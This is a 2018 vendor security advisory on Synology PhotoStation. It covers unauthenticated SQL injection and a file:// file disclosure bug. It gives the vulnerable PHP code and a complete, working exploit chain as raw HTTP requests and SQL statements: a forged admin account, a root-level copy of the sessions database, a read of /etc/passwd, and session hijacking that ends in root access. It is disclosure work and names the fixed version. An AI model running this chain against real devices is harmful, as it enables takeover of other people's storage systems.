Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities
Synology Photostation Multiple Vulnerabilities Vendor: Synology Product: Synology Photostation Version: <= 6.7.2-3429 Website: http://www.synology.com ########################################################################### ______ ____________ __ / ____/_ __/ / __/_ __/__ _____/ /_ / / __/ / / / / /_ / / / _ \/ ___/ __ \ / /_/ / /_/ / / __/ / / / __/ /__/ / / / \____/\__,_/_/_/ /_/ \___/\___/_/ /_/ GulfTech Research and Development ########################################################################### # Synology PhotoStation <= 6.7.2-3429 Multiple Vulnerabilities # ########################################################################### Released Date: 2018-01-08 Last Modified: 2017-07-22 Company Info: Synology Version Info: Vulnerable Synology PhotoStation <= 6.7.2-3429 --[ Table of contents 00 - Introduction 00.1 Background 01 - SQL Injection 01.1 - Vulnerable code analysis 01.2 - Remote exploitation 02 - File Disclosure 02.1 - Vulnerable code analysis 02.2 - Remote exploitation 03 - Credit 04 - Proof of concept 05 - Solution 06 - Contact information --[ 00 - Introduction The purpose of this article is to detail the research that I have completed regarding Synology PhotoStation. The issues I have discovered can be used in conjuction with one another to gain remote preauth root access to the affected Synology NAS device. --[ 00.1 - Background The Synology Diskstation NAS by default installs several DSM applications unless specified otherwise during setup. One of these default applications installed is PhotoStation. PhotoStation is a web based photo manager. --[ 01 - SQL Injection There are a number of SQL Injection issues within the PhotoStation application. Since PhotoStation uses a PostgreSQL database exploitation is trivial since multiple statements can easily be injected. --[ 01.1 - Vulnerable code analysis Below is vulnerable code from /photo/include/blog/label.php which takes GPC data and uses it directly in an SQL query --------------------------------------------------------------------------- if($_POST['action'] == 'get_all_labels') { echo SYNOBLOG_LABEL_GetLabelComboData($_POST['id']); } else if($_POST['action'] == "get_article_label" && isset($_POST['article_id'])) { echo SYNOBLOG_LABEL_GetArticleRawLabel($_POST['article_id']); } else if($_POST['action'] == "get_invalid_labels") { echo SYNOBLOG_LABEL_GetInvalidLabels(); } --------------------------------------------------------------------------- Now let's have a look at any one of these functions. --------------------------------------------------------------------------- function SYNOBLOG_LABEL_GetArticleRawLabel($article_id) { global $blog_str_article_label_none; $query = "Select label_name from blog_article_label where article_id = ".$article_id." order by label_name;"; $db_result = PHOTO_DB_Query($query); while(($row = PHOTO_DB_FetchRow($db_result))) { if($row[0] == "no_label") { continue; } $result[] = $row[0]; } return json_encode($result); } --------------------------------------------------------------------------- As you can see from the above code the SQL injection is fairly straight forward as $article_id comes directly from the $_POST['article_id'] variable. In addition to this SQL Injection is also an SQL Injection within the /photo/include/synotheme.php file within the SYNOTHEME_GET_BKG_PIC() function due to the "type" parameter never being sanitized. --------------------------------------------------------------------------- function SYNOTHEME_GET_BKG_PIC($mode, $type) { $show_bkg_img_key = 'photo' === $type ? 'v6_show_bkg_img' : 'show_bkg_img'; if (null == $show_bkg_img = csSYNOPhotoMisc::GetConfigDB($mode, $show_bkg_img_key, $type . '_config')) { csSYNOPhotoMisc::UpdateConfigDB('theme', $show_bkg_img_key, '3', $type . '_config'); $show_bkg_img = '3'; } --------------------------------------------------------------------------- In the above code the "type" variable is used to specify the table name within an SQL query. Unfortunately this "type" parameter is taken directly from GPC data and never sanitized. No authentication is needed to exploit either of the previously mentioned SQL Injection vulnerabilities. --[ 01.2 - Remote exploitation Exploiting this issue is trivial, and can be achieved by simply sending a post request containing a SQL Injection string within the "article_id" parameter. --------------------------------------------------------------------------- POST /photo/include/blog/label.php HTTP/1.1 Host: diskstation User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Accept: */* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://diskstation/blog/ Content-Length: 60 Connection: close action=get_article_label&article_id=1; SELECT version(); -- --------------------------------------------------------------------------- The above request would successfully return the version of the PostgreSQL database to the attacker. However, it is also possible to gain a remote root shell with a decent bit of work by using the following steps. ##[ STEP 00: First we have to leverage the SQL Injection to enable the PhotoStation authentication system. By default the PhotoStation application uses DSM to authenticate. We need to change this so that it uses PhotoStation to authenticate. This can be accomplished with the following query. --------------------------------------------------------------------------- UPDATE photo_config SET config_value=0 WHERE config_key='account_system'; --------------------------------------------------------------------------- Now the PhotoStation authentication system should be successfully enabled and ready for use. ##[ STEP 01: Once the PhotoStation authentication system is successfully enabled we can create an admin user and authenticate as this user to escalate our current privileges from PhotoStation admin to root. --------------------------------------------------------------------------- INSERT INTO photo_user (userid, username, password, admin) VALUES (42, 'test', '098f6bcd4621d373cade4e832627b4f6', TRUE); --------------------------------------------------------------------------- We now can login as the admin user "test" with the password "test". ##[ STEP 02: The next step is to create a "video" record with a malicious "path" value via SQL Injection. This "path" value holds the location of the file we want to disclose as the root user. The PhotoStation admin panel is fairly secure and does not give us many options for exploiting file handling issues. However, the PhotoStation application trusts the "path" data taken from the database when copying files, and does not validate it. We can leverage this lack of sanity checks to copy any files we want as root to the default photo directory. --------------------------------------------------------------------------- INSERT INTO video (id, path, title, container_type) VALUES (42, '/usr/syno/etc/private/session/current.users', 'test', 'test'); --------------------------------------------------------------------------- The above record inserted would allow an attacker to copy the sessions db to the default photo directory once a file copy operation is triggered by the album_util.php script. This is because the copy and move operations use the "path" data taken from the database as the source argument. This file will be copied with root permissions by the "synphotoio" binary. ##[ STEP 03: The next step for us is to trigger a file copy operation via album_util.php where our malicious "path" value will be used by the "synphotoio" binary to make a copy of the file as root in the default photo directory. --------------------------------------------------------------------------- POST /photo/include/photo/album_util.php HTTP/1.1 Host: diskstation User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 X-SYNO-TOKEN: ambru48o5nm3kpcla82j1b98s4 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://diskstation/photo/ Content-Length: 45 Cookie: stay_login=1; PHPSESSID=c4kclpg4j3bndcpuq4pvs9of10; Connection: close action=copy_items&video_list=42&destination=2f --------------------------------------------------------------------------- The above request will successfully copy the user sessions database to the default photo directory. We just have to make sure the "video_list" ID corresponds to the ID that we previously inserted into the database so that the "path" data we specified will be used in the file copy operation. ##[ STEP 04: For the next step we have to be slick and use a file handling bug in the file_upload.php script to copy the file disclosed by root to the web directory for viewing. The only reason we are able to accomplish this is because we're allowed to specify the full URL sent to a file_get_contents() call. We could also use this bug to read any file that the web server has access to. But, for now we will just copy the file we recently disclosed as root since these particular file handling operations take place as an unprivileged user and would limit the attacker impact greatly. --------------------------------------------------------------------------- POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7 46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1 Host: diskstation User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 57 action=aviary_add&url=file:///volume1/photo/current.users --------------------------------------------------------------------------- As you can see from the above request we are allow to specify a file:// URL and as a result copy the disclosed sessions db to the web directory as a file named pwn.jpg and view all admin sessions. If it was not for this file handling bug in file_upload.php an attacker would have to access the file via SMB or some other method thus making the attack much more complicated. ##[ STEP 05: Once we have the sessions database we now have the session ID and IP addresses of administrators. We can use this information to now login to the DSM as an admin. It is possible to use headers such as "Client-IP" to successfully forge the IP address of the stolen session data. So, the fact that sessions are restricted by IP address does not really matter at all in this particular case. At this point it is game over as DSM admin users are able to run commands as root and have complete and total access to the entire system. --[ 02 - File Disclosure PhotoStation is vulnerable to a file disclosure issue. This issue is due to an unsafe file_get_contents() call within the SYNOPHOTO_AVIARY_Add() function that allows an attacker to specify the full URL used. --[ 01.1 - Vulnerable code analysis Below is vulnerable code from /photo/include/file_upload.php which makes use of a user supplied URL to populate the contents of $image_data. --------------------------------------------------------------------------- $image_data = file_get_contents($_REQUEST['url']); --------------------------------------------------------------------------- The above code allows authenticated users to easily disclose file contents with the privilege of the web server, or to possibly conduct SSRF attacks against the internal network. --[ 01.2 - Remote exploitation Exploiting the issue requires user authentication, but other than that it is fairly trivial to take advantage of. Also, it should be noted that the required authentication can be acquired by using the previously mentioned SQL Injection issues in order to create arbitrary user accounts. --------------------------------------------------------------------------- POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7 46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1 Host: diskstation User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 57 action=aviary_add&url=file:///etc/passwd --------------------------------------------------------------------------- The above request would successfully copy the contents of the passwd file to http://diskstation/photo/pwn.jpg where it's contents could be viewed by the attacker. --[ 03 - Credit James Bercegay GulfTech Research and Development --[ 04 - Proof of concept We strive to do our part to contribute to the security community. Metasploit modules for issues outlined in this paper can be found online. --[ 05 - Solution These issues were addressed in update 6.7.3-3432 --[ 06 - Contact information Web https://gulftech.org/ Mail security@gulftech.org Copyright 2018 GulfTech Research and Development. All rights reserved. |